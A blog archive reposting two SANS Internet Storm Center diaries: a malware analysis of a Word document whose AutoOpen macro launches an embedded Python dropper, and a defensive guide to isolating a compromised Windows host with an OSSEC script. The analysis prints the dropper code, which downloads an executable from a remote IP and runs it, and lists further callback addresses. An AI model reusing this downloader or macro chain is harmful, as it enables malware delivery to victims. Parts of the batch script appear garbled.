Blog

Archive for September 17th, 2020

A Mix of Python & VBA in a Malicious Word Document, (Fri, Sep 18th)

A few days ago, Didier wrote an interesting diary about embedded objects into an Office document[1]. I had a discussion about an interesting OLE file that I found. Because it used the same technique, I let Didier publish his diary first. Now, let’s have a look at the document.

It’s an OLE file that contains an embedded object:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin
  1:        76 'x01CompObj'
  2: O     471 'x01Ole10Native'
  3:         6 'x03ObjInfo'
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin -s 2 -d
?pJIkdw.pyC:UsersCNIyiDesktoppJIkdw.py7C:UsersCNIyiAppDataLocalTemppJIkdw (2).pyr
import socket
import tempfile
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.100", 8080))
buf = ""
while True:
  data = s.recv(1024)
  if data:
    buf += data
  else:
    break
s.close
temp = tempfile.gettempdir() + "\" + "JcNrGlx.exe"
f = open(temp, "wb")
f.write(buf)
f.close
f = None
os.system(temp)

The code is easy to understand: It connects to 192.168.2.100:8000, fetches a malicious PE file, dumps it on disk, and executes it. Note the private IP address used (RFC1918). It should be a test file (or from a red-team exercise?). The file hash is 40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988 with a VT score of 5/60[2]. I searched via VT for more information about this file and found the document where it was coming from. 

It’s a Word document (9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67) with a VT score of 8/63[3]. The file contains indeed our original OLE file as reported by oledump.py:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx
A: word/vbaProject.bin
 A1:       348 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M    1327 'VBA/NewMacros'
 A4: m     924 'VBA/ThisDocument'
 A5:      2649 'VBA/_VBA_PROJECT'
 A6:      1082 'VBA/__SRP_0'
 A7:       104 'VBA/__SRP_1'
 A8:        84 'VBA/__SRP_2'
 A9:       107 'VBA/__SRP_3'
A10:       570 'VBA/dir'
B: word/embeddings/oleObject1.bin
 B1:        76 'x01CompObj'
 B2: O     471 'x01Ole10Native'
 B3:         6 'x03ObjInfo'

The macro in stream 3 is very simple:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx -s 3 -v
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
'
' AutoOpen Macro
'
'
    ActiveDocument.Shapes("Object 2").Select
    Selection.ShapeRange(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary
End Sub

The method (OLEFormat.DoVerb) requests an OLE object to perform the verb passed as argment[4]. ‘wdOLEVerbPrimary’ means to perform the verb that is invoked when the user double-clicks the object. The code will be executed only if Python is available on the targeted host.

The Word document seems corrupted and doesn’t open properly in my sandbox. But looking at the files inside the zip archive, you discover that the OLE file is indeed embedded:


And:


Yesterday, I found new occurrences of the same OLE file but trying to connect to other IP addresses:

  • 192.168.2.108:8080
  • 192.168.1.4:8080
  • %%ip:156.132.142.28%%:99

Interestingly, the last IP address (the routable one) belongs to uscourts.gov (United States Courts)! The purpose of the file is still unclear but, being based on a Python payload, I presume the victim is targeted. Or, as I already did in the past, I spotted a red-team exercise preparation?

[1] https://isc.sans.edu/forums/diary/Office+Documents+with+Embedded+Objects/26558/
[2] https://bazaar.abuse.ch/sample/40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988/
[3] https://bazaar.abuse.ch/sample/9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67/
[4] https://docs.microsoft.com/en-us/office/vba/api/word.oleformat.doverb

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Suspicious Endpoint Containment with OSSEC, (Thu, Sep 17th)

When a host is compromised/infected on your network, an important step in the Incident Handling process is the “containment” to prevent further infections.  To place the device into a restricted environment is definitively better than powering off the system and, probably, lose some pieces of evidence.

Endpoint protection solutions are the “in” thing for a while. Instead of using standard AV tools, those solutions implement more control and try to block attackers directly. One of the features they implement is a containment solution to prevent a compromised host to communicate over the network, except with the endpoint management console. An endpoint solution can be expensive if you have a lot of hosts to protect and… it’s (again) a new agent to deploy on them.

I’m a big fan of OSSEC[1] and I already wrote a few diaries about it[2][3]. Today, I’ll demonstrate how you can implement the function described above without an expensive solution. OSSEC has a feature called ‘Active-Response’ that helps to execute scripts on agents in case of specific alerts or… on demand!

I wrote a Windows command line script that temporarily replaces the existing local firewall rules by a very restricted new set:

  • Communication with the OSSEC server is still allowed
  • An IP address is allowed on all ports TCP/UDP
  • All remaining traffic is blocked

This allows a security team to temporarily isolate a suspicious computer from the network and to start some investigations by allowing a SIFT Workstation to connect to the host.

To configure this, in your ossec.conf file, create the new active-response setup:

    contain-host
    contain-me.cmd
    srcip
    no

Note: It’s important to not configure any timeout to prevent the host to be “unconfined” automatically.

Then, create the active-response action:

    contain-host
    local
    10
    99999999

If you want to automatically contain a host, you may create rules: use ‘rules_group’ or ‘rules_id’. My rule_id ‘99999999’ will never trigger because it looks for something that will never happen! This way, you can prevent an automatic containment of a host.

Finally, deploy the script in the right directory (%OSSECPATH%active-responsebin) on all your OSSEC monitored hosts and you’re good to go!

How to contain a host, manually? OSSEC has a command to achieve this:

[[email protected] bin]# ./agent_control -u 011 -f contain-host0 -b 192.168.254.212

Where ‘011’ is the agent ID you’d like to contain and ‘contain-host0’ is the defined active-response action. In the case above, 192.168.254.212 is the IP address of the incident handler that will investigate the suspicious host.

Here is a copy of the script:

:: Script to block all traffic except interesting hosts:
:: - The OSSEC server
:: - Incident Handling workstation (ex: a SANS SIFT)
:: Parameters:
:: - %1 = ADD|DELETE
:: - %2 = User (unused)
:: - %3 = IP address to whitelist

@echo off

:: Generate timestamp variables
for /F "TOKENS=1* DELIMS= " %%A IN ('DATE/T') DO SET DAT=%%A %%B
for /F "TOKENS=1-3 DELIMS=:" %%A IN ("%TIME%") DO SET TIM=%%A:%%B:%%C

:: Extract the OSSEC server IP address from config
setlocal EnableDelayedExpansion
(for /F "delims=" %%a in ('findstr /R ".*$" "%OSSECPATH%ossec.conf"') do (
set "line=%%a"
set "line=!line:*=!"
for /F "delims=nul || goto ERROR

if /I "%1"=="add" goto ADD
if /I "%1"=="delete" goto DEL

:ERROR
echo Invalid argument(s).
echo Usage: contain-me.cmd ^(ADD^|DELETE^) user IP_Address
echo Example: contain-me.cmd ADD - 1.2.3.4
exit /B 1

:ERROR2
echo Cannot find OSSEC server IP address in ossec.conf
exit /B 1

:ADD

:: Save the existing firewall rules
del %OSSECPATH%fw-backup.wfw" >nul
%WINDIR%system32netsh advfirewall export "%OSSECPATH%fw-backup.wfw"
%WINDIR%system32NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no
:: Allow the OSSEC server IP
%WINDIR%system32netsh advfirewall firewall add rule name="Allow ICMP in" dir=in protocol=icmpv4 action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow ICMP out" dir=out protocol=icmpv4 action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in"  dir=in localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out" dir=out localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in/tcp"  dir=in localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server in/udp"  dir=in localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out/tcp" dir=out localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%system32netsh advfirewall firewall add rule name="Allow OSSEC Server out/udp" dir=out localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%system32netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-responseactive-responses.log"
goto EXIT

:DEL

:: Restore the saved firewall rules
%WINDIR%system32netsh advfirewall import "%OSSECPATH%fw-backup.wfw"
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-responseactive-responses.log"

exit /B 0:

It will automatically extract the OSSEC server IP address from the config file and allow it. It will also backup your existing firewall rules and restore them.

There is no way to automatically restore the connectivity via OSSEC (when it’s not automatic). Once you completed the investigations on the host, just restore the previous firewall settings:

C:Program Files (x86)ossec-agentactive-responsebin>set OSSECPATH=c:Program Files (x86)ossec-agent
C:Program Files (x86)ossec-agentactive-responsebin>contain-me.cmd delete - 192.168.254.212

Or you can write a second active-response script to “uncontain” the host…

I implemented this script for Windows endpoints but it’s very easy to implement the same on other operating systems.

[1] https://ossec.net
[2] https://isc.sans.edu/forums/diary/Using+OSSEC+ActiveResponse+as+a+DFIR+Framework/24440
[3] https://isc.sans.edu/forums/diary/Hunting+for+Suspicious+Processes+with+OSSEC/24122

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →